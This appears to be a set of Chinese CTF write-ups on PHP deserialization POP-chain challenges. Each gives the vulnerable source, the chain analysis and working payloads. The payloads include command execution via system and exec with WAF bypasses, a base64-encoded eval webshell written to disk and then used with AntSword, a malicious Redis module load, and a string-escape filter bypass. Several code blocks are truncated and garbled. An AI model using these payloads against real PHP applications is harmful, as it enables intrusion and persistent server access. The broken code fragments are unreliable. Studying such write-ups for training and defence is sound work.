点开题目
源代码
**include “waf.php”**提示文件包含
反序列化加命令执行
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
pop链可以从后往前推
步骤:
eval反推到__invoke
eval函数可以执行我们的命令,那么得调用__invoke,(eval($...)说明要有返回值)
_invoke反推到_ toString
只有调用__toString可以return,当一个对象被当作字符串对待的时候,会触发这个魔术方法
__toString反推到__set
因为调用了strolower方法(strolower函数会把字符串转换成小写)
__set反推到__call
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
利用 $this -> four类 -> fun = $arg[0] 就可以调用__call,因为这里正好 $fun是 private 属性
__call再到__wakeup
class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法
只需把$this->ext->nisa($this->x); 改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call
构造payload
<?php
include "waf.php";
class NISA{
public $fun;
public $txw4ever='system("tac /f*");';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw(); //调用_toString()
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));
发现不行
根据题目提示可能有过滤,用大小写绕过
改为System(“tac /f*”);
得到flag
思路总结:
__invoke --> __toString --> __set --> __call --> wakeup
NISA --> Ilovetxw --> four --> IlovetxW --> TianXiWei
源代码
admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
分析:从后往前推
首先找到跟flag有关的,发现是w44m的Getflag(),结合if语句,我们要让admin = ‘w44m’ 和passwd ='08067’成立
再往前推,发现w33m的__toString()的**KaTeX parse error: Expected '}', got 'EOF' at end of input: this->w00m->{this->w22m}();**可以调用Getflag();
再往前推,w22m的echo语句可以调用__toString();
整理一下
pop链
w22m.__destruct() --> w33m.__toString() --> w44m.Getflag()
payload
w00m=$b;
$b->w00m=$c;
echo urlencode(serialize($a));
?>
注:记得url编码
打开题目
Happy New Year~ MAKE A WISH
';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
代码审计(从后往前推)
首先我们找到出口include($value)
,那么我们可以给var赋值用php伪协议去读取flag,调用append()方法得先调用 __invoke()
(调用了函数方式可以调用 __invoke())
__invoke()
可以反推到__get()
(读取不可访问或者不存在的属性的时候,进行赋值,才能调用__get())
__get()
可以反推到__toString()
(因为我们可以$page不存在Make_a_Change这个类里面)
__toString()
可以反推到__wakeup()
(把类当成字符串的时候,因为preg_match会把变量当成字符串)
pop链
Road_is_Long.__wakeup() --> Road_is_Long.__toString() --> Make_a_Change.__get() --> Try_Work_Hard.__invoke()
payload
page=$b;
$b->string=$c;
$c->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
上传一下
base64解码得到flag
打开题目,分析源代码
cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
代码审计:
file_get_contents($file)
__toString()
的条件是把类当成字符串的时候调用,可以用本身类的__construct()
来进行调用现在我们要绕过这一段复杂的代码
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
这里可以不用管docker
因为强等于我们可以用NULL=NULL来绕过,所以我们让neutron和nova值为NULL就行
pop链
acp.__construct() --> acp.__toString() -->ace.echo_name()
payload
cinder = $a;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$a = new acp(""); //第一次实例化是为了给neutron和nova赋值为NULL,使得绕过强等于
$a->neutron = NULL;
$a->nova = NULL;
$b = new ace();
$b->filename='flag.php';
$c =new acp($b); //第二次实例化acp会调用__construct方法使cinder指向ace,然后调用echo_name方法
echo urlencode(serialize($c));
发现没有flag,要把filename的值改为../nssctfasdasdflag
得到flag
打开题目
源代码
code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
分析:
找到出口为eval函数
正则判断是匹配A和B开头的东西,因为类名是A,B,我们可以通过大小写绕过
因为反序列化会调用__wakeup方法,然后code就为空值,绕过只需要让项数多1就行
实例化b让指针指向a,会调用__construct()方法从而命令执行
payload
code = "phpinfo();";
}
}
class b{}
$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));
上传成功
写入一句话木马
修改payload
code = "fputs(fopen('1.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==\"));";
}
}
class b{}
$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));
?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:88:"fputs(fopen('1.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=="));";}}
上传后,蚁剑连接
(记得关闭代理,因为平时用bp是8080端口)
发现访问不了上级目录
但发现有个config.php.swp
告诉我们了密码
因为这个shell没有访问权限,但是在/var/www/html中有上传权限,所以可以通过
上传恶意的so文件,通过蚁剑的redis管理插件,进行ssrf,然后包含恶意so文件
链接:exp.so
下载链接redis工具
记得解压完添加到这个文件夹下
然后进入
添加配置
随便点开一个
然后加载模组
MODULE LOAD "/var/www/html/exp.so"
输入命令,得到flag
源代码
class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = '[email protected]';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
分析一下
file_get_contents()
,参数是$escape的email属性的值,且email正则匹配flag(不区分大小写)由于abscond($string),在数组里出现的会被替换成hacker
,我们可以利用字符串逃逸绕过
我们先测试一下
//输出结果 :
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
我们如果上传这个email会被正则匹配从而无法绕过
我们可以把";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
这一串给挤掉
但是为了保证得到flag,我们要扩张(name长度变为4+62)
O:6:"escape":3:{s:4:"name";s:66:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
问题是怎么挤掉呢
这里我们利用abscond(),假设我们name的值有一个NSS,则被替换成hacker的话长度发生改变,那么我们就可以利用被替换的长度差与被挤掉那部分的长度相等,从而实现绕过
这个被挤掉的";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
长度为62
那么我们构造20*NSS+2*hello
,长度刚好为62
最终name的payload
O:6:"escape":3:{s:4:"name";s:126:"NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}
得到base64编码的
源代码
method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
分析一下:
1.发现exec()函数
可以命令执行,帮助我们得到flag
exec($ip, $result); //$ip为执行的命令,$result为执行的结果
2.我们往前推, call_user_func_array()函数
可以调用我们需要的ping方法
只需要让method的值为ping,同时args为ping的上传参数,即执行的命令
call_user_func_array(array($this, $this->method), $this->args);
3.由于反序列化的时候会调用__wakeup()
,所以我们上传的$args得为数组,然后对$this->args数组中的每个值调用$this->waf()方法进行处理
payload
method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('id'));
echo base64_encode(serialize($a));
?>
可以发现执行成功,我们在修改下执行命令,同时绕过waf()
检测
$a=new ease("ping",array('l\s'));
$a=new ease("ping",array('ca\t${IFS}`find`'));
//可以查看该目录及子目录和隐藏目录所有文件
打开题目,发现能上传文件和查看文件
我们查一下index.php,然后就有可以查看class.php和read.php
read.php源码
aa的文件查看器